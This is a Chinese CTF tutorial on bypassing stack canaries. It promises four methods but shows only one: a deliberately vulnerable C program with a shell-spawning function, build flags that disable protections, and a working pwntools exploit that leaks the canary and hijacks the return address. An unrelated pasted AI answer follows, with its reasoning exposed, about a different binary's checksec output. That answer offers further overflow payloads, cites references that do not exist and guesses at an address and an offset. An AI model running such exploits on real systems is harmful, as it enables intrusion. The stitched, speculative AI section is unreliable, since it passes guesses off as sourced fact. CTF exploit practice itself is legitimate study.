ctf-pwn:canary绕过

本文详细介绍了CTF中针对Canary安全机制的四种绕过方法:覆盖00字符读出canary、利用格式化字符串漏洞、逐字节猜解canary以及劫持__stack_chk_fail函数。每种方法都包括原理、利用条件、漏洞代码和EXP示例,揭示了Canary机制的弱点和攻击思路。

覆盖00字符读出canary

原理

  • canary的值设计为以0x00结尾,防止read,printf灯函数直接读出
  • 通过栈溢出覆盖最低位的字节,从而获得canary

利用条件

  • 存在read/printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,得到canary
    • 第二次是利用canary进行攻击

漏洞代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
   
   
    system("/bin/sh");
}
//不设置缓冲区
void init() {
   
   
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
   
   
    char buf[100];
    for(int i=0;i<2;i++){
   
   
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
   
   
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译选项

  • 这里需要修改caller的返回地址为getshell,所以需要知道getshell的地址,换而言之.text段不能随机化,所以不能开启PIE
  • 栈虽不随机无所谓,所以ASLR开启也无妨
gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a

EXP

#!/usr/bin/python
# coding=utf-8
'''offset
0x5655573a <vuln+24>        mov    DWORD PTR [ebp-0xc], eax ;$epb-0xc=0xffffd10c
canary: 0xffffd10c
0x56555756 <vuln+52>        call   0x565554f0 <read@plt>
read@plt (
   [sp + 0x0] = 0x00000000, //STDIN
   [sp + 0x4] = 0xffffd0a8 → 0x00000001,  //buf
   [sp + 0x8] = 0x00000200   //num of char
)
0xffffd10c - 0xffffd0a8 = 100
'''
from pwn import *
context(os='linux', arch='i386', log_level='debug')
sh=process('a')
gdb.attach(sh)
offset=100
padding='A'*offset
#get canary
sh.sendlineafter('Hello Hacker!\n', padding)
sh.recvuntil(padding)
canary=u32(sh.recv(numb=4))-ord('\n')
print('canary = '+hex(canary))
#getshell
getshell=ELF('a').sym['getshell']
'''exp
'A'*4:  $ebp of caller
canary+'A'*8:  DWORD PTR [ebp-0xc], eax, actually, the canary take up 0xC byte
'''
exp=padding+p32(canary)+'A'*8+'A'*4+p32(getshell)
sh.send(exp)
sh.recv()
sh.interactive()

<think> 我们正在分析一个使用Python脚本`backdoor.py`启动`./pwn1`程序时产生的输出信息。输出信息如下: ``` [+] Starting local process './pwn1' argv=[b'./pwn1'] : pid 86 [*] '/mnt/c/Users/HelloCTF_OS/Desktop/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: ``` 这个输出是由`pwntools`工具生成的。让我们逐步分析每一行: 1. `[+] Starting local process './pwn1' argv=[b'./pwn1'] : pid 86` - 这表示`pwntools`成功启动了一个本地进程,执行的程序是`./pwn1`,进程ID(PID)为86。 2. `[*] '/mnt/c/Users/HelloCTF_OS/Desktop/pwn1'` - 这行表示正在分析的程序路径。 3. 接下来的几行是`checksec`的结果,显示了程序的安全机制: - `Arch: amd64-64-little`: 程序的架构是64位的AMD64(即x86-64),小端序。 - `RELRO: Partial RELRO`: RELRO(Relocation Read-Only)是部分开启的。部分RELRO意味着全局偏移表(GOT)是可写的,这可能导致GOT覆盖攻击。 - `Stack: `: 这里没有显示栈保护的信息,可能是输出不完整或者程序没有栈保护。通常,`checksec`会显示栈是否开启金丝雀(Canary)保护。如果这里为空,可能表示栈保护未开启(No canary found),或者输出被截断。 注意,输出中`Stack:`后面是空的,这可能是由于输出不完整,或者程序确实没有栈保护(即没有启用栈溢出保护机制)。在完整的`checksec`输出中,我们通常还会看到: - `NX`(No-Execute): 栈是否不可执行 - `PIE`(Position Independent Executable): 是否开启地址随机化 但是在这个输出中,这些信息都没有出现,可能是输出被截断,或者脚本中只打印了部分信息。 ### 问题分析 1. **输出不完整**:从给出的输出看,`Stack:`后面没有内容,这可能是由于程序崩溃或脚本被中断导致输出不完整,也可能是`pwntools`的`checksec`函数在输出时出现了问题。 2. **安全机制分析**: - 架构为64位,小端序。 - 部分RELRO:这意味着GOT表是可写的,攻击者可能通过覆盖GOT表项来劫持程序流程。 - 栈保护(Stack)信息缺失:如果栈保护未开启(即没有栈金丝雀),那么程序容易受到栈溢出攻击。如果栈保护开启,通常会显示`Canary found`。 3. **可能存在的问题**: - 由于栈保护信息缺失,我们需要进一步确认栈保护情况。如果栈保护未开启,并且程序中存在栈溢出漏洞,那么利用起来会相对简单。 - 部分RELRO使得GOT表可写,如果程序中存在任意地址写漏洞,就可能被利用来修改GOT表。 ### 建议 为了进一步分析,我们需要获取完整的`checksec`输出。通常,使用`pwntools`的`checksec`功能会输出如下完整信息: ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 因此,建议检查脚本中是否有打印完整的`checksec`信息,或者重新运行并捕获完整输出。 另外,从输出中我们看到程序路径是在Windows子系统中(`/mnt/c/`),这可能是WSL环境。确保程序在WSL环境中正确运行。 ### 引用说明 以上分析基于提供的输出片段,有关安全机制(如RELRO、栈保护)的更多信息,可以参考二进制安全相关文献[^1]。 §§相关问题§§ 1. 如何获取程序的完整checksec信息? 2. 部分RELRO可能带来哪些安全风险? 3. 如何利用栈溢出漏洞? </think> 根据提供的输出信息,这是一个使用pwntools工具调试二进制程序`./pwn1`的过程。以下是关键信息的分析: ### 输出信息解析 1. `[+] Starting local process './pwn1' argv=[b'./pwn1'] : pid 86` - 表示成功启动本地程序`./pwn1`,进程ID为86 2. `[*] '/mnt/c/Users/HelloCTF_OS/Desktop/pwn1'` - 目标程序的绝对路径 3. `Arch: amd64-64-little` - 程序架构为64位x86(小端序) 4. `RELRO: Partial RELRO` - **安全问题**:部分RELRO(重定位只读),意味着GOT表可写,存在GOT劫持风险[^1] 5. `Stack: `(空) - **关键问题**:未显示栈保护状态,通常应有`Canary found`或`No canary found`: - 若未启用栈金丝雀(No canary),存在栈溢出利用风险 - 若未显示NX保护状态,可能存在可执行栈风险 ### 问题分析 1. **安全防护缺失** - 部分RELRO允许修改GOT表 - 栈保护状态未知(需进一步确认) - 未显示NX/DEP保护状态(栈是否可执行未知) 2. **利用可能性** ```python Payload = b'A'*(0x0F + 0x08) + p64(0x401187) # 引用[1]的利用方式 ``` - 偏移量`0x0F+0x08=23`字节后覆盖返回地址 - 跳转到地址`0x401187`(可能是后门函数) 3. **调试环境问题** - 使用`context.log_level='debug'`但未显示完整寄存器/内存信息 - 缺少崩溃现场的关键信息(如RIP、RSP寄存器值) ### 解决建议 1. 使用`checksec`确认完整防护: ```bash checksec --file=./pwn1 ``` 预期输出应包含: ``` Stack: No canary found # 栈溢出风险 NX: NX disabled # 栈可执行风险 PIE: No PIE # 地址固定 ``` 2. 在GDB中验证崩溃点: ```gdb gdb ./pwn1 run < <(python -c "print('A'*23 + '\x87\x11\x40\x00')") ``` 3. 若存在栈溢出,开发完整EXP: ```python from pwn import * elf = context.binary = ELF('./pwn1') p = process() payload = b'A'*23 + p64(elf.sym['backdoor']) # 或绝对地址 p.sendline(payload) p.interactive() ``` ### 安全风险总结 | 防护机制 | 状态 | 风险等级 | |---------------|---------------|----------| | RELRO | Partial | ⚠️高危 | | Stack Canary | 未显示(需确认)| ⚠️高危 | | NX/DEP | 未显示 | ⚠️中危 | | PIE/ASLR | 未启用(固定地址)| ⚠️高危 | 建议优先确认栈保护和NX状态,部分RELRO+无栈金丝雀的组合通常可直接利用栈溢出[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值